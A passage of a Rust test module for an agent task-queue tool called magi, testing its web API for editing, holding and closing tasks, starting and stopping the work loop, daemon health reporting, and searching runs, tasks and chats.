16749        std::fs::create_dir_all(&repo).expect("repo dir");
16750        let judge = MOCK_AGENT_TOML.replace(
16751            "printf ok",
16752            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
16753        );
16754        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
16755        let f = Fixture::with_repo(repo.clone()).await;
16756        let queue = f.queue();
16757        let mut owner = Task::new(
16758            "owner".to_owned(),
16759            "review it".to_owned(),
16760            repo.clone(),
16761            Source::Human,
16762        );
16763        owner.review_branch = Some("magi/ab12/A".to_owned());
16764        queue.put(&mut owner).expect("file the owner");
16765        let mut task = Task::new(
16766            "draft".to_owned(),
16767            "old".to_owned(),
16768            repo.clone(),
16769            Source::Human,
16770        );
16771        queue.put(&mut task).expect("file the draft");
16772        let url = format!("/api/queue/{}/edit", task.id);
16773
16774        let refused = f
16775            .post(
16776                &url,
16777                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
16778            )
16779            .await;
16780        assert_eq!(refused.status, 409, "{}", refused.body);
16781        let msg = refused.json()["error"]
16782            .as_str()
16783            .unwrap_or_default()
16784            .to_owned();
16785        assert!(
16786            msg.contains("magi/ab12/A") && msg.contains("force"),
16787            "{msg}"
16788        );
16789        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
16790
16791        let forced = f
16792            .post(
16793                &url,
16794                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
16795            )
16796            .await;
16797        assert_eq!(forced.status, 200, "{}", forced.body);
16798    }
16799
16800    #[tokio::test]
16801    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
16802        let f = Fixture::start().await;
16803        let queue = f.queue();
16804        let mut task = Task::new(
16805            "in flight".to_owned(),
16806            "do not touch".to_owned(),
16807            PathBuf::from("/repo/magi"),
16808            Source::Human,
16809        );
16810        task.start("20260902-140502-bbbb".to_owned());
16811        queue.put(&mut task).expect("file the task");
16812
16813        let res = f
16814            .post(
16815                &format!("/api/queue/{}/edit", task.id),
16816                Some(r#"{"title":"x","instruction":"y"}"#),
16817            )
16818            .await;
16819        assert_eq!(res.status, 400, "{}", res.body);
16820        assert!(
16821            res.json()["error"]
16822                .as_str()
16823                .is_some_and(|e| e.contains("running")),
16824            "{}",
16825            res.body
16826        );
16827        assert_eq!(
16828            queue.get(&task.id).expect("reload").instruction,
16829            "do not touch",
16830            "the refused edit must not change the file"
16831        );
16832    }
16833
16834    #[tokio::test]
16835    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
16836        let f = Fixture::start().await;
16837        let queue = f.queue();
16838        let mut task = Task::new(
16839            "busy".to_owned(),
16840            "Running right now".to_owned(),
16841            PathBuf::from("/repo/magi"),
16842            Source::Human,
16843        );
16844        queue.put(&mut task).expect("file the task");
16845        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
16846
16847        let priority = f
16848            .post(
16849                &format!("/api/queue/{}/priority", task.id),
16850                Some(r#"{"priority":9}"#),
16851            )
16852            .await;
16853        assert_eq!(priority.status, 409, "{}", priority.body);
16854
16855        let edit = f
16856            .post(
16857                &format!("/api/queue/{}/edit", task.id),
16858                Some(r#"{"title":"x","instruction":"y"}"#),
16859            )
16860            .await;
16861        assert_eq!(edit.status, 409, "{}", edit.body);
16862    }
16863
16864    #[tokio::test]
16865    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
16866        let f = Fixture::start().await;
16867        let queue = f.queue();
16868        let mut task = Task::new(
16869            "shipped by hand".to_owned(),
16870            "merged outside the loop".to_owned(),
16871            PathBuf::from("/repo/magi"),
16872            Source::Agent {
16873                run: "20260101-000000-b455".to_owned(),
16874                node: "implement".to_owned(),
16875            },
16876        );
16877        task.runs.push("20260101-000000-b455".to_owned());
16878        task.runs.push("20260101-000000-9af4".to_owned());
16879        queue.put(&mut task).expect("file the task");
16880        let created_at = task.created_at;
16881
16882        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16883        assert_eq!(done.status, 200, "{}", done.body);
16884        assert_eq!(done.json()["status_str"], "done");
16885
16886        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
16887        assert_eq!(
16888            reloaded.runs,
16889            ["20260101-000000-b455", "20260101-000000-9af4"]
16890        );
16891        assert_eq!(
16892            reloaded.source,
16893            Source::Agent {
16894                run: "20260101-000000-b455".to_owned(),
16895                node: "implement".to_owned(),
16896            }
16897        );
16898        assert_eq!(reloaded.created_at, created_at);
16899    }
16900
16901    #[tokio::test]
16902    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
16903        // `done` is allowed on any status, including `held`, with no release
16904        // in between - so a task held for a reason and then closed directly
16905        // must not keep reading as "waiting on" it afterwards, on its card or
16906        // in `magi task show`.
16907        let f = Fixture::start().await;
16908        let queue = f.queue();
16909        let mut task = Task::new(
16910            "landed while held".to_owned(),
16911            "x".to_owned(),
16912            PathBuf::from("/repo/magi"),
16913            Source::Human,
16914        );
16915        task.hold_manual(Some("waiting on 3ed9".to_owned()));
16916        queue.put(&mut task).expect("file the held task");
16917
16918        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16919        assert_eq!(done.status, 200, "{}", done.body);
16920        assert_eq!(done.json()["status_str"], "done");
16921        assert!(
16922            done.json()["hold_reason"].is_null(),
16923            "a done task cannot still be waiting on something: {}",
16924            done.body
16925        );
16926    }
16927
16928    #[tokio::test]
16929    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
16930        // `queue_done` is the phone's way to close a task the loop never
16931        // settled itself - after confirming a manual GitHub merge, say - and
16932        // that is just as much "this task's story is over" as the loop's own
16933        // `Merged`/`Ready` path, so it must trigger the same cleanup.
16934        let f = Fixture::start().await;
16935        let queue = f.queue();
16936        let runs = f.runs();
16937        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
16938        // The last attempt has to have actually landed for the earlier one
16939        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
16940        // for the case where it didn't.
16941        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
16942
16943        let mut task = Task::new(
16944            "landed by hand".to_owned(),
16945            "x".to_owned(),
16946            PathBuf::from("/repo/magi"),
16947            Source::Human,
16948        );
16949        task.runs.push("20260101-000000-doa1".to_owned());
16950        task.runs.push("20260101-000000-doa2".to_owned());
16951        queue.put(&mut task).expect("file the task");
16952
16953        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16954        assert_eq!(done.status, 200, "{}", done.body);
16955
16956        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
16957            .expect("run still on disk under this fixture's own home");
16958        assert_eq!(
16959            reloaded_run.status,
16960            RunStatus::Superseded,
16961            "closing the task by hand must relabel the earlier blocked attempt exactly \
16962             like the loop's own settle path does"
16963        );
16964    }
16965
16966    #[tokio::test]
16967    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
16968        // Closing a task by hand is allowed from any status, including one
16969        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
16970        // manual merge the loop never watched, say. Nothing here is provably
16971        // why the task is done, so nothing earlier gets relabelled either.
16972        let f = Fixture::start().await;
16973        let queue = f.queue();
16974        let runs = f.runs();
16975        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
16976        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
16977
16978        let mut task = Task::new(
16979            "closed with nothing actually landed".to_owned(),
16980            "x".to_owned(),
16981            PathBuf::from("/repo/magi"),
16982            Source::Human,
16983        );
16984        task.runs.push("20260101-000000-dob1".to_owned());
16985        task.runs.push("20260101-000000-dob2".to_owned());
16986        queue.put(&mut task).expect("file the task");
16987
16988        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16989        assert_eq!(done.status, 200, "{}", done.body);
16990
16991        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
16992            .expect("run still on disk under this fixture's own home");
16993        assert_eq!(
16994            reloaded_run.status,
16995            RunStatus::Blocked,
16996            "the last recorded attempt never landed, so the earlier one must not be \
16997             relabelled as superseded by it"
16998        );
16999    }
17000
17001    #[tokio::test]
17002    async fn unknown_ids_are_json_not_found_on_both_stores() {
17003        let f = Fixture::start().await;
17004
17005        let run = f.get("/api/runs/nosuchrun").await;
17006        let task = f.post("/api/queue/nosuchtask/hold", None).await;
17007
17008        assert_eq!(run.status, 404);
17009        assert_eq!(task.status, 404);
17010        assert!(
17011            run.json()["error"]
17012                .as_str()
17013                .is_some_and(|e| e.contains("run")),
17014            "the error names what was not found: {}",
17015            run.body
17016        );
17017        assert!(
17018            task.json()["error"]
17019                .as_str()
17020                .is_some_and(|e| e.contains("task")),
17021            "the error names what was not found: {}",
17022            task.body
17023        );
17024    }
17025
17026    #[tokio::test]
17027    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
17028        let f = Fixture::start().await;
17029
17030        let missing = f.get("/api/health").await.json();
17031        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
17032
17033        write_daemon(
17034            f.home.path(),
17035            Timestamp::now() - jiff::SignedDuration::from_secs(60),
17036        );
17037        let stale = f.get("/api/health").await.json();
17038        assert_eq!(
17039            stale["daemon"]["running"], false,
17040            "a minute without a heartbeat is a dead daemon, not a busy one"
17041        );
17042        assert!(
17043            stale["daemon"]["stale_for_secs"]
17044                .as_i64()
17045                .is_some_and(|s| s >= 55),
17046            "staleness is reported so the UI can say how long: {stale}"
17047        );
17048
17049        write_daemon(f.home.path(), Timestamp::now());
17050        let fresh = f.get("/api/health").await.json();
17051        assert_eq!(fresh["daemon"]["running"], true);
17052        assert_eq!(fresh["daemon"]["idle"], false);
17053        assert_eq!(fresh["daemon"]["pid"], 4242);
17054        assert_eq!(fresh["daemon"]["completed"], 7);
17055        assert_eq!(
17056            fresh["daemon"]["current"][0]["task"],
17057            "20260902-140501-aaaa"
17058        );
17059        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
17060    }
17061
17062    #[tokio::test]
17063    async fn the_loop_is_not_running_until_something_starts_it() {
17064        let f = Fixture::start().await;
17065
17066        let view = f.get("/api/loop").await.json();
17067        assert_eq!(view["running"], false);
17068        assert_eq!(
17069            view["owned"], false,
17070            "nobody owns a loop that does not exist: {view}"
17071        );
17072        assert_eq!(view["stopping"], false);
17073        assert_eq!(view["last_error"], Value::Null);
17074        assert_eq!(view["daemon"]["running"], false);
17075        assert_eq!(
17076            view["repo"], "/repo/magi",
17077            "the repository a start would use, named before it is started"
17078        );
17079    }
17080
17081    #[tokio::test]
17082    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
17083        let f = Fixture::start().await;
17084
17085        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17086        assert_eq!(res.status, 200, "{}", res.body);
17087        let view = res.json();
17088        assert_eq!(view["running"], true);
17089        assert_eq!(
17090            view["owned"], true,
17091            "the loop the UI started is the UI's own to stop: {view}"
17092        );
17093        assert_eq!(
17094            view["merge"],
17095            Value::Null,
17096            "no override was given, so each repository's own config decides"
17097        );
17098
17099        // The same object from the route a waking phone polls first. Two
17100        // surfaces disagreeing about whether anything is running is exactly
17101        // the confusion this UI exists to remove.
17102        let health = f.get("/api/health").await.json();
17103        assert_eq!(health["loop"]["running"], true, "{health}");
17104        assert_eq!(health["loop"]["owned"], true, "{health}");
17105
17106        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17107    }
17108
17109    #[tokio::test]
17110    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
17111        let f = Fixture::start().await;
17112        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17113        assert_eq!(first.status, 200, "{}", first.body);
17114
17115        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17116        assert_eq!(
17117            again.status, 409,
17118            "two loops on one queue race for the same claims: {}",
17119            again.body
17120        );
17121        assert!(
17122            again.json()["error"]
17123                .as_str()
17124                .is_some_and(|e| e.contains("already running the loop")),
17125            "the refusal has to say why: {}",
17126            again.body
17127        );
17128        assert_eq!(
17129            f.get("/api/loop").await.json()["running"],
17130            true,
17131            "and the loop that was already running is untouched by it"
17132        );
17133
17134        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17135    }
17136
17137    #[tokio::test]
17138    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
17139        let f = Fixture::start().await;
17140        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17141
17142        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17143        assert_eq!(
17144            res.status, 200,
17145            "the answer must not wait for the loop: a run in flight is tens of \
17146             minutes and the operator is holding a phone: {}",
17147            res.body
17148        );
17149
17150        let view = settled(&f, |v| v["running"] == false).await;
17151        assert_eq!(view["owned"], false);
17152        assert_eq!(
17153            view["stopping"], false,
17154            "a loop that has stopped is not still stopping: {view}"
17155        );
17156        assert_eq!(
17157            view["last_error"],
17158            Value::Null,
17159            "a loop that was asked to stop did not fail: {view}"
17160        );
17161
17162        // Idempotent, because the operator cannot tell a slow stop from a lost
17163        // one and will press it again.
17164        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17165        assert_eq!(twice.status, 200, "{}", twice.body);
17166    }
17167
17168    #[tokio::test]
17169    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
17170        let f = Fixture::start().await;
17171        // How the operator has been doing it: a `magi serve` of their own,
17172        // heartbeat fresh, in the same home this UI reads.
17173        write_daemon(f.home.path(), Timestamp::now());
17174
17175        let view = f.get("/api/loop").await.json();
17176        assert_eq!(view["running"], false, "not in this process: {view}");
17177        assert_eq!(view["owned"], false, "and not this process's to control");
17178        assert_eq!(
17179            view["daemon"]["running"], true,
17180            "but a loop is alive somewhere, which is what the UI must say"
17181        );
17182        assert_eq!(view["daemon"]["pid"], 4242);
17183
17184        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
17185            let res = f.post("/api/loop", Some(body)).await;
17186            assert_eq!(
17187                res.status, 409,
17188                "neither button may pretend to work on someone else's loop: {}",
17189                res.body
17190            );
17191            assert!(
17192                res.json()["error"]
17193                    .as_str()
17194                    .is_some_and(|e| e.contains("4242")),
17195                "the refusal has to name the process the operator must go to: {}",
17196                res.body
17197            );
17198        }
17199        assert_eq!(
17200            f.get("/api/loop").await.json()["running"],
17201            false,
17202            "and the refusal started nothing"
17203        );
17204    }
17205
17206    #[tokio::test]
17207    async fn a_stale_status_file_is_not_a_foreign_owner() {
17208        let f = Fixture::start().await;
17209        write_daemon(
17210            f.home.path(),
17211            Timestamp::now() - jiff::SignedDuration::from_secs(60),
17212        );
17213
17214        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17215        assert_eq!(
17216            res.status, 200,
17217            "a daemon killed a minute ago must not lock the loop out of its \
17218             own home for good: {}",
17219            res.body
17220        );
17221        assert_eq!(res.json()["running"], true);
17222
17223        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17224    }
17225
17226    #[tokio::test]
17227    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
17228        let f = Fixture::start().await;
17229        let before = f.get("/api/health").await.json()["loop_rev"]
17230            .as_u64()
17231            .expect("a loop revision");
17232
17233        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17234
17235        let after = f.get("/api/health").await.json()["loop_rev"]
17236            .as_u64()
17237            .expect("a loop revision");
17238        assert!(
17239            after > before,
17240            "the loop is in-process state, so this counter is the only thing \
17241             that tells a second device the first one started it: {before} -> \
17242             {after}"
17243        );
17244
17245        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17246    }
17247
17248    #[tokio::test]
17249    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
17250        let f = Fixture::with_loop(launch_broken).await;
17251
17252        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17253        assert_eq!(
17254            res.status, 200,
17255            "starting it is not the failure: {}",
17256            res.body
17257        );
17258
17259        let view = settled(&f, |v| v["last_error"].is_string()).await;
17260        assert_eq!(
17261            view["running"], false,
17262            "a loop that died must not read as running, or the operator has \
17263             nothing to press: {view}"
17264        );
17265        assert_eq!(view["owned"], false);
17266        assert!(
17267            view["last_error"]
17268                .as_str()
17269                .is_some_and(|e| e.contains("read-only file system")),
17270            "the phone is where a loop that died at 3am is visible: {view}"
17271        );
17272
17273        // And it can be started again: the corpse was reaped, not left to
17274        // occupy the slot.
17275        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17276        assert_eq!(again.status, 200, "{}", again.body);
17277        assert!(
17278            again.json()["last_error"]
17279                .as_str()
17280                .is_none_or(|e| !e.contains("read-only file system")),
17281            "a fresh start does not keep showing why the last one died: {}",
17282            again.body
17283        );
17284    }
17285
17286    /// An upgrade parks the run in flight before it restarts, and a park waits
17287    /// for the node - up to `timeout_implement`, an hour by default. The deck
17288    /// has to answer for all of it: the operator has just been told a run is
17289    /// finishing first, and this address is the only place that says how it is
17290    /// going. It did not, once - the listener went with the `select!` arm that
17291    /// began the handover, and the phone got `Cannot reach magi: Failed to
17292    /// fetch` for the rest of the wave.
17293    ///
17294    /// The other half is the older rule: the address must be free *before* the
17295    /// successor is started, or it dies on "address already in use" with its
17296    /// stdio sent to null and the deck never comes back.
17297    #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
17298    async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
17299        let home = TempDir::new().expect("temp home");
17300        let runs = home.path().join("runs");
17301        std::fs::create_dir_all(&runs).expect("runs dir");
17302        let ui = Ui::new(
17303            Queue::at(home.path().join("queue")),
17304            Questions::at(home.path().join("questions")),
17305            Talks::at(home.path().join("talks")),
17306            runs,
17307            home.path().to_path_buf(),
17308            PathBuf::from("/repo/magi"),
17309        )
17310        .with_worktrees_root(home.path().join("wt"))
17311        .with_launch(launch_knocking_on_the_way_out);
17312        let looping = ui.looping();
17313        let turns = ui.turns();
17314        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
17315            .await
17316            .expect("bind loopback");
17317        let addr = listener.local_addr().expect("local addr");
17318        *PARK_KNOCK.lock().expect("park knock") = Some(addr);
17319        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
17320
17321        let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
17322        assert_eq!(started.status, 200, "the loop starts: {}", started.body);
17323
17324        // The successor's whole job, and the one thing it cannot do while this
17325        // process still holds the socket.
17326        //
17327        // One bind is not enough, and the reason is not this process's order of
17328        // operations: aborting the accept loop drops the listener, but axum
17329        // serves each accepted connection on a task of its own, and those are
17330        // not aborted. The requests above left sockets on this very address,
17331        // and under BSD's bind rules (macOS) a live socket on 127.0.0.1:port
17332        // makes a fresh bind fail with EADDRINUSE until its task is dropped.
17333        // Production absorbs that in `bind_waiting`; so does this. Only
17334        // `AddrInUse` is retried, and the listener is released before the
17335        // closure returns - were the order wrong, the listener would outlive
17336        // the closure and every attempt would fail. Inferred from the bind
17337        // rules and the code; not reproduced on macOS.
17338        let bound = std::sync::Mutex::new(None);
17339        hand_over(
17340            home.path(),
17341            &looping,
17342            &turns,
17343            &|_: &[String]| Duration::from_secs(5),
17344            served,
17345            |_| {
17346                let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
17347                let attempt = loop {
17348                    match std::net::TcpListener::bind(addr) {
17349                        Ok(l) => {
17350                            drop(l);
17351                            break Ok(());
17352                        }
17353                        Err(e)
17354                            if e.kind() == std::io::ErrorKind::AddrInUse
17355                                && std::time::Instant::now() < deadline =>
17356                        {
17357                            std::thread::sleep(std::time::Duration::from_millis(10));
17358                        }
17359                        Err(e) => break Err(e.to_string()),
17360                    }
17361                };
17362                *bound.lock().expect("bound") = Some(attempt);
17363                Ok(1)
17364            },
17365        )
17366        .await
17367        .expect("hand over");
17368
17369        assert_eq!(
17370            *PARK_HEARD.lock().expect("park heard"),
17371            Some(200),
17372            "the deck must answer while the loop is parking"
17373        );
17374        let attempt = bound
17375            .lock()
17376            .expect("bound")
17377            .take()
17378            .expect("the successor was started");
17379        assert!(
17380            attempt.is_ok(),
17381            "and the address must be free by the time it is: {attempt:?}"
17382        );
17383    }
17384
17385    #[tokio::test]
17386    async fn a_newer_daemon_status_file_still_renders() {
17387        let f = Fixture::start().await;
17388        // A field this build has never heard of must not turn the status line
17389        // into a 500; that is the whole reason the reader is permissive.
17390        std::fs::write(
17391            f.home.path().join("daemon.json"),
17392            serde_json::json!({
17393                "schema": 2,
17394                "updated_at": Timestamp::now().to_string(),
17395                "idle": true,
17396                "surprise": { "nested": [1, 2, 3] },
17397            })
17398            .to_string(),
17399        )
17400        .expect("write daemon.json");
17401
17402        let health = f.get("/api/health").await;
17403
17404        assert_eq!(health.status, 200);
17405        assert_eq!(health.json()["daemon"]["running"], true);
17406    }
17407
17408    #[tokio::test]
17409    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
17410        let f = Fixture::start().await;
17411        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
17412        let broken = f.runs().join("20260902-140502-bad");
17413        std::fs::create_dir_all(&broken).expect("run dir");
17414        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
17415
17416        let list = f.get("/api/runs").await;
17417        let detail = f.get("/api/runs/20260902-140502-bad").await;
17418
17419        assert_eq!(list.status, 200);
17420        let listed = list.json();
17421        let ids: Vec<&str> = listed
17422            .as_array()
17423            .expect("an array")
17424            .iter()
17425            .map(|r| r["id"].as_str().expect("an id"))
17426            .collect();
17427        assert_eq!(
17428            ids,
17429            vec!["20260902-140501-good"],
17430            "one unreadable run must not cost the operator the whole history"
17431        );
17432        assert_eq!(detail.status, 500);
17433        assert!(
17434            detail.json()["error"]
17435                .as_str()
17436                .is_some_and(|e| e.contains("run.json")),
17437            "the failure names the file to look at: {}",
17438            detail.body
17439        );
17440        // A skipped run has to be countable somewhere, or the UI shows an
17441        // empty history with nothing to explain it - which is exactly what a
17442        // directory full of older-schema runs looks like.
17443        let health = f.get("/api/health").await;
17444        assert_eq!(health.json()["runs_unreadable"], 1);
17445    }
17446
17447    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
17448    #[tokio::test]
17449    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
17450        let f = Fixture::start().await;
17451        let runs = f.runs();
17452        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
17453        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
17454        // Text three levels down, in a shape no current RunState has: an older
17455        // schema must still search.
17456        let path = runs.join("20260902-140502-bbbb").join("run.json");
17457        let mut v: serde_json::Value =
17458            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
17459        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
17460        std::fs::write(&path, v.to_string()).unwrap();
17461        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
17462        std::fs::write(
17463            runs.join("20260902-140503-cccc").join("run.json"),
17464            "{ not json",
17465        )
17466        .unwrap();
17467
17468        let res = f.get("/api/search?scope=runs&q=quokka").await;
17469        assert_eq!(res.status, 200, "{}", res.body);
17470        let v = res.json();
17471        assert_eq!(v["total"], 1, "{v}");
17472        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
17473        assert_eq!(v["hits"][0]["field"], "text");
17474        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
17475        let parts = v["hits"][0]["snippet"].as_array().unwrap();
17476        assert!(
17477            parts
17478                .iter()
17479                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
17480            "{v}"
17481        );
17482        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
17483        assert_eq!(
17484            flat, "The Quokka leaks across threads",
17485            "whitespace is collapsed"
17486        );
17487
17488        // Terms are ANDed, across different fields, case-insensitively.
17489        let both = f
17490            .get("/api/search?scope=runs&q=MOBILE%20quokka")
17491            .await
17492            .json();
17493        assert_eq!(both["total"], 1, "{both}");
17494        let neither = f
17495            .get("/api/search?scope=runs&q=quokka%20zebra")
17496            .await
17497            .json();
17498        assert_eq!(neither["total"], 0, "{neither}");
17499        // Everything in the task statement is reachable, not only the row text.
17500        let stmt = f
17501            .get("/api/search?scope=runs&q=mobile%20first")
17502            .await
17503            .json();
17504        assert_eq!(stmt["total"], 2, "{stmt}");
17505        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
17506        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
17507    }
17508
17509    #[test]
17510    fn snippet_ignores_terms_longer_than_the_field() {
17511        let terms = ["ok".to_owned(), "elephant".to_owned()];
17512        let parts = snippet_of("ok", &terms);
17513        assert_eq!(
17514            parts,
17515            vec![SnippetPart {
17516                text: "ok".to_owned(),
17517                hit: true
17518            }]
17519        );
17520    }
17521
17522    #[test]
17523    fn snippet_marks_matches_longer_than_the_window() {
17524        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
17525        let hit_len = |parts: &[SnippetPart]| -> usize {
17526            parts
17527                .iter()
17528                .filter(|p| p.hit)
17529                .map(|p| p.text.chars().count())
17530                .sum()
17531        };
17532        let total =
17533            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
17534
17535        let long = "a".repeat(120);
17536        let parts = snippet_of(&long, std::slice::from_ref(&long));
17537        assert!(hit_len(&parts) > 0, "{parts:?}");
17538        assert!(total(&parts) <= cap);
17539
17540        let ja = "あ".repeat(130);
17541        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
17542        assert!(hit_len(&parts) > 0, "{parts:?}");
17543        assert!(total(&parts) <= cap);
17544
17545        // A short hit, then one straddling the window's end.
17546        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
17547        let term = format!("ab{}", "c".repeat(100));
17548        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
17549        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
17550        assert!(total(&parts) <= cap);
17551
17552        // Only the head matches: not highlighted.
17553        let text = format!("{}z", "a".repeat(119));
17554        let parts = snippet_of(&text, &["a".repeat(120)]);
17555        assert_eq!(hit_len(&parts), 0, "{parts:?}");
17556    }
17557
17558    #[tokio::test]
17559    async fn search_caps_hits_and_snippet_length() {
17560        let f = Fixture::start().await;
17561        let runs = f.runs();
17562        for n in 0..(SEARCH_MAX_HITS + 5) {
17563            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
17564        }
17565        let v = f.get("/api/search?scope=runs&q=web").await.json();
17566        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
17567        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
17568        assert_eq!(v["truncated"], true);
17569        // Every listed run hit carries its list row for the page's filters.
17570        assert!(
17571            v["hits"]
17572                .as_array()
17573                .unwrap()
17574                .iter()
17575                .all(|h| h["run"]["status"] == "merged")
17576        );
17577
17578        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
17579        let parts = snippet_of(&long, &["needle".to_owned()]);
17580        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
17581        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
17582        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
17583    }
17584
17585    #[tokio::test]
17586    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
17587        let f = Fixture::start().await;
17588        let queue = f.queue();
17589        let mut t = Task::new(
17590            "short title".to_owned(),
17591            "line one\nthe hidden Armadillo detail".to_owned(),
17592            PathBuf::from("/repo/magi"),
17593            Source::Agent {
17594                run: "r1".to_owned(),
17595                node: "chat".to_owned(),
17596            },
17597        );
17598        t.last_error = Some("disk full on /tmp".to_owned());
17599        queue.put(&mut t).expect("file the task");
17600
17601        for (q, want) in [
17602            ("armadillo", 1),
17603            ("disk%20FULL", 1),
17604            ("chat", 1),
17605            ("queued", 1),
17606            ("short%20nothing", 0),
17607        ] {
17608            let v = f
17609                .get(&format!("/api/search?scope=tasks&q={q}"))
17610                .await
17611                .json();
17612            assert_eq!(v["total"], want, "{q}: {v}");
17613        }
17614        for bad in [
17615            "/api/search?scope=tasks&q=",
17616            "/api/search?scope=tasks&q=%20",
17617            "/api/search?scope=chats&q=",
17618            "/api/search?scope=chats&q=%20",
17619            "/api/search?scope=nope&q=a",
17620            "/api/search?q=a",
17621        ] {
17622            assert_eq!(f.get(bad).await.status, 400, "{bad}");
17623        }
17624    }
17625
17626    /// Write one conversation file the way the store reads it back.
17627    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
17628        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
17629            .expect("seat value");
17630        let turns: Vec<serde_json::Value> = turns
17631            .iter()
17632            .map(|(who, body)| {
17633                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
17634            })
17635            .collect();
17636        let doc = serde_json::json!({
17637            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
17638            "status": status, "turns": turns,
17639            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
17640            "seat": seat,
17641        });
17642        let dir = f.home.path().join("talks");
17643        std::fs::create_dir_all(&dir).expect("talks dir");
17644        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
17645    }
17646
17647    #[tokio::test]
17648    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
17649        let f = Fixture::start().await;
17650        write_talk(
17651            &f,
17652            "20260901-000001-aaaa",
17653            "open",
17654            &[
17655                (
17656                    "operator",
17657                    "\n  Why does the Pangolin cache expire?\nsecond line",
17658                ),
